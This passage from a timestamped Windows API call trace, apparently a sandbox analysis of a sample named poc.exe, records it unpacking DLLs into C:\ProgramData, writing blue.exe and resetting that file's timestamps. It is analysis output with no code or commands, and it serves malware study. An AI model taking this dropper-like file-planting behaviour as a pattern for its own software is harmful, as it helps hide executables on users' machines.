ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.251] GetLastError () returned 0x12 [0092.252] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.252] FindFirstFileW (in: lpFileName="c:\\ProgramData\\ucl.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.252] GetLastError () returned 0x2 [0092.252] CharLowerBuffW (in: lpsz="c:\\ProgramData\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0092.252] CharLowerBuffW (in: lpsz="c:\\programdata\\ucl.dll", cchLength=0x16 | out: lpsz="c:\\programdata\\ucl.dll") returned 0x16 [0092.252] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.252] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.252] GetLastError () returned 0x12 [0092.252] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.252] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\ucl.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.252] GetLastError () returned 0x2 [0092.252] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\ucl.dll", cchLength=0x13 | out: lpsz="c:\\progra~3\\ucl.dll") returned 0x13 [0092.252] CharLowerBuffW (in: lpsz="EVB6A86A.TMP", cchLength=0xc | out: lpsz="evb6a86a.tmp") returned 0xc [0092.252] FindFirstFileW (in: lpFileName="c:\\programdata\\evb6a86a.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.253] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.253] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\ucl.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\ucl.dll\\") returned 0x2c [0092.253] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\ucl.dll\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\ucl.dll\\") returned 0x29 [0092.253] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.253] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.253] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.253] CharLowerBuffW (in: lpsz="xdvl-0.dll", cchLength=0xa | out: lpsz="xdvl-0.dll") returned 0xa [0092.253] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0092.253] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0092.253] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.253] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.253] GetLastError () returned 0x12 [0092.253] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.253] FindFirstFileW (in: lpFileName="c:\\ProgramData\\xdvl-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.253] GetLastError () returned 0x2 [0092.253] CharLowerBuffW (in: lpsz="c:\\ProgramData\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0092.253] CharLowerBuffW (in: lpsz="c:\\programdata\\xdvl-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\xdvl-0.dll") returned 0x19 [0092.253] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.254] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.254] GetLastError () returned 0x12 [0092.254] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.254] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\xdvl-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.254] GetLastError () returned 0x2 [0092.254] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\xdvl-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\xdvl-0.dll") returned 0x16 [0092.254] CharLowerBuffW (in: lpsz="EVB89DBA.TMP", cchLength=0xc | out: lpsz="evb89dba.tmp") returned 0xc [0092.254] FindFirstFileW (in: lpFileName="c:\\programdata\\evb89dba.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.254] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.254] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\xdvl-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\xdvl-0.dll\\") returned 0x2f [0092.254] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\xdvl-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\xdvl-0.dll\\") returned 0x2c [0092.254] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.254] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.254] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.254] CharLowerBuffW (in: lpsz="zlib1.dll", cchLength=0x9 | out: lpsz="zlib1.dll") returned 0x9 [0092.254] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0092.255] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0092.255] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.255] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.255] GetLastError () returned 0x12 [0092.255] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.255] FindFirstFileW (in: lpFileName="c:\\ProgramData\\zlib1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.255] GetLastError () returned 0x2 [0092.255] CharLowerBuffW (in: lpsz="c:\\ProgramData\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0092.255] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0092.255] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.255] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.255] GetLastError () returned 0x12 [0092.255] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.255] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\zlib1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.256] GetLastError () returned 0x2 [0092.256] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\zlib1.dll", cchLength=0x15 | out: lpsz="c:\\progra~3\\zlib1.dll") returned 0x15 [0092.256] CharLowerBuffW (in: lpsz="EVBFAE6A.TMP", cchLength=0xc | out: lpsz="evbfae6a.tmp") returned 0xc [0092.256] FindFirstFileW (in: lpFileName="c:\\programdata\\evbfae6a.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A胬vA((")) returned 0xffffffff [0092.256] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.256] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\zlib1.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\programdata\\zlib1.dll\\") returned 0x2e [0092.256] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\zlib1.dll\\", cchLength=0x2b | out: lpsz="\\device\\harddiskvolume1\\progra~3\\zlib1.dll\\") returned 0x2b [0092.256] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.256] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.256] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.257] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.257] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.257] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.257] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0092.257] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0092.257] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.exe", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x58, ftCreationTime.dwLowDateTime=0x7596e0, ftCreationTime.dwHighDateTime=0x28f208, ftLastAccessTime.dwLowDateTime=0x7735389e, ftLastAccessTime.dwHighDateTime=0x740138, ftLastWriteTime.dwLowDateTime=0x7735387a, ftLastWriteTime.dwHighDateTime=0x7769813a, nFileSizeHigh=0x0, nFileSizeLow=0x740000, dwReserved0=0x7596e8, dwReserved1=0x7581b0, cFileName="膨u(湪瘱", cAlternateFileName="砰t")) returned 0xffffffff [0092.258] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\blue.exe", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\blue.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.258] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.258] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0xf0, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.259] RtlFreeAnsiString (AnsiString="\\") [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] ResetEvent (hEvent=0xd0) returned 1 [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] ResetEvent (hEvent=0xd0) returned 1 [0092.259] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.259] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0xf4, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.259] RtlFreeAnsiString (AnsiString="\\") [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] SetEvent (hEvent=0xd4) returned 1 [0092.259] SetEvent (hEvent=0xd0) returned 1 [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] ResetEvent (hEvent=0xd0) returned 1 [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] ResetEvent (hEvent=0xd0) returned 1 [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] GetCurrentThreadId () returned 0x24c [0092.259] SetEvent (hEvent=0xd4) returned 1 [0092.259] SetEvent (hEvent=0xd0) returned 1 [0092.260] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.260] CreateFileW (lpFileName="c:\\programdata\\blue.exe" (normalized: "c:\\programdata\\blue.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf8 [0092.260] VirtualAlloc (lpAddress=0x0, dwSize=0x110000, flAllocationType=0x2000, flProtect=0x1) returned 0x610000 [0092.260] VirtualAlloc (lpAddress=0x610000, dwSize=0x104000, flAllocationType=0x1000, flProtect=0x4) returned 0x610000 [0092.562] NtReadFile (in: FileHandle=0xf4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x710008, BufferLength=0x18, ByteOffset=0x28f340*=95602, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x710008*) returned 0x0 [0092.562] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.563] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.564] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.564] NtReadFile (in: FileHandle=0xf4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10691, ByteOffset=0x28f340*=95626, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.568] NtReadFile (in: FileHandle=0xf4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x33a7, ByteOffset=0x28f340*=162843, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.568] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.569] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.570] WriteFile (in: hFile=0xf8, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x13600, lpOverlapped=0x0) returned 1 [0092.572] SetFileTime (hFile=0xf8, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.573] CloseHandle (hObject=0xf8) returned 1 [0092.575] NtClose (Handle=0xf8) returned 0xc0000008 [0092.575] RtlFreeAnsiString (AnsiString="\\") [0092.575] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.fb", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x740000, ftLastWriteTime.dwLowDateTime=0x75c120, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x24000024, nFileSizeLow=0x0, dwReserved0=0x75c350, dwReserved1=0x76ae48, cFileName="듈uĠ", cAlternateFileName="㺣皝籰u0")) returned 0xffffffff [0092.576] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.576] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\blue.fb", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\blue.fb", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.576] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.576] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0xf8, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.576] RtlFreeAnsiString (AnsiString="\\") [0092.576] GetCurrentThreadId () returned 0x24c [0092.576] ResetEvent (hEvent=0xd0) returned 1 [0092.576] GetCurrentThreadId () returned 0x24c [0092.576] GetCurrentThreadId () returned 0x24c [0092.576] ResetEvent (hEvent=0xd0) returned 1 [0092.576] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.576] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0xfc, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.576] RtlFreeAnsiString (AnsiString="\\") [0092.576] GetCurrentThreadId () returned 0x24c [0092.576] GetCurrentThreadId () returned 0x24c [0092.576] SetEvent (hEvent=0xd4) returned 1 [0092.576] SetEvent (hEvent=0xd0) returned 1 [0092.576] GetCurrentThreadId () returned 0x24c [0092.577] ResetEvent (hEvent=0xd0) returned 1 [0092.577] GetCurrentThreadId () returned 0x24c [0092.577] GetCurrentThreadId () returned 0x24c [0092.577] ResetEvent (hEvent=0xd0) returned 1 [0092.577] GetCurrentThreadId () returned 0x24c [0092.577] GetCurrentThreadId () returned 0x24c [0092.577] SetEvent (hEvent=0xd4) returned 1 [0092.577] SetEvent (hEvent=0xd0) returned 1 [0092.577] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: 